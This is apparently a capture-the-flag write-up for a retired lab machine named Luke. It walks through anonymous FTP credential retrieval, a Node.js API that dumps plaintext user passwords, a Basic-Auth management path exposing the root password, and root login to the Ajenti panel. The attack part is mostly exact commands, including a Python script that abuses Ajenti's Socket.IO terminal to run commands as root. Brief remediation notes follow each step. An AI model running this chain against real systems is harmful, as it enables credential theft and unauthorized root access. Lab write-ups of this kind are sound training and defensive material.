Luke
Summary
Target luke ($TARGET) ran five exposed services: an anonymous FTP server, Apache/PHP on port 80 with a protected management path, a Node.js Express API on port 3000, and the Ajenti web admin panel on port 8000. An anonymous FTP connection retrieved a plaintext administrator note containing the API password.
That credential unlocked the Node.js API, which returned every user's password in its response — including credentials for the 'derry' account. Derry's password satisfied the HTTP Basic-Auth challenge on the management endpoint, whose config file revealed the operating-system root password in plain text.
SSH was network-filtered, so the root password was tried against the Ajenti panel, which accepted it. Because Ajenti runs its management daemon as the root OS user and exposes a built-in terminal, I reverse-engineered its legacy Socket.IO 0.9 WebSocket protocol to drive the terminal plugin and execute arbitrary commands as root — capturing both flags without any separate privilege-escalation exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"Some commands also carry a value in angle brackets — <derry-password-from-step3>, <sid-from-handshake> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Service-version and default-script scan across all key ports.
$ nmap -sV -sC -p 21,22,80,3000,8000 $TARGETConfirm Ajenti panel presence and retrieve version header.
$ curl -s -I http://$TARGET:8000/Exact commands 3
List FTP root anonymously.
$ curl -s ftp://anonymous:anonymous@$TARGET/List the webapp directory.
$ curl -s ftp://anonymous:anonymous@$TARGET/webapp/Download the credential note — returns admin's password.
$ curl -s ftp://anonymous:anonymous@$TARGET/webapp/for_Chihiro.txtFixDisable anonymous FTP and remove credentials from FTP-accessible storageCritical
Exact commands 2
Authenticate as admin and capture the JWT into $TOKEN.
$ TOKEN=$(curl -s -H 'Content-Type: application/json' -d '{"username":"admin","password":"'"$PASSWORD2"'"}' http://$TARGET:3000/login | python3 -c "import sys,json; print(json.load(sys.stdin).get('token',''))")Dump all user records including plaintext passwords.
$ curl -s -H "Authorization: Bearer $TOKEN" http://$TARGET:3000/usersFixEnforce role-based authorization on the API and never return plaintext passwordsCritical
Exact commands 1
HTTP Basic-Auth with derry's credentials; substitute the password returned by /users in step 3. Returns config.json containing the root OS password.
$ curl -s -u 'derry:<derry-password-from-step3>' http://$TARGET/management/FixRemove OS-level credentials from web-accessible configuration filesCritical
Exact commands 2
Attempted first — connection timed out; port 22 is filtered, confirming pivot to Ajenti is needed.
$ sshpass -p "$PASSWORD" ssh root@$TARGETAuthenticate to Ajenti as root; -D - prints response headers including X-Auth-Identity: root and Set-Cookie.
$ curl -s -c ajenti.cookie -X POST -d "username=root&password=$PASSWORD" http://$TARGET:8000/ajenti:auth -D -FixRemove the Ajenti panel from the network perimeter and do not run it as rootCritical
Exact commands 2
Perform the Socket.IO 0.9 handshake and capture the session ID.
$ SID=$(curl -s --cookie-jar - -b ajenti.cookie "http://$TARGET:8000/socket.io/1/" | awk -F: '{print $1}')
echo "SID: $SID"Full Socket.IO 0.9 terminal exploit script. Reads the Ajenti session cookie from file; replace <sid-from-handshake> with the SID obtained above.
$ python3 - <<EOF
import websocket, json, time, http.cookiejar, urllib.request
cookie = open('ajenti.cookie').read() # ajenti session cookie value
SID = "<sid-from-handshake>" # replace with SID from handshake above
ws = websocket.create_connection(
f"ws://$TARGET:8000/socket.io/1/websocket/{SID}",
header=[f"Cookie: {cookie}"]
)
ws.send("1::/terminal") # Socket.IO 0.9 namespace connect
time.sleep(0.5)
# Send command to textbox control (uid 16165) then click Run (uid 16166)
CMD = "id; cat /home/*/user.txt; cat /root/root.txt"
ws.send("5::/terminal:" + json.dumps({"name": "set", "args": [{"id": 16165, "value": CMD}]}))
time.sleep(0.3)
ws.send("5::/terminal:" + json.dumps({"name": "run", "args": [{"id": 16166}]}))
time.sleep(1.5)
for _ in range(12):
try: print(ws.recv())
except: break
EOFExact commands 2
Read user flag via Ajenti terminal session; returns <user.txt>.
$ cat /home/*/user.txtRead root flag via Ajenti terminal session; returns <root.txt>.
$ cat /root/root.txtExposed services
| 21/tcp | ftp vsftpd 3.0.3+ (ext.1) |
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3) |
| 3000/tcp | http Node.js Express framework |
| 8000/tcp | http Ajenti http control panel |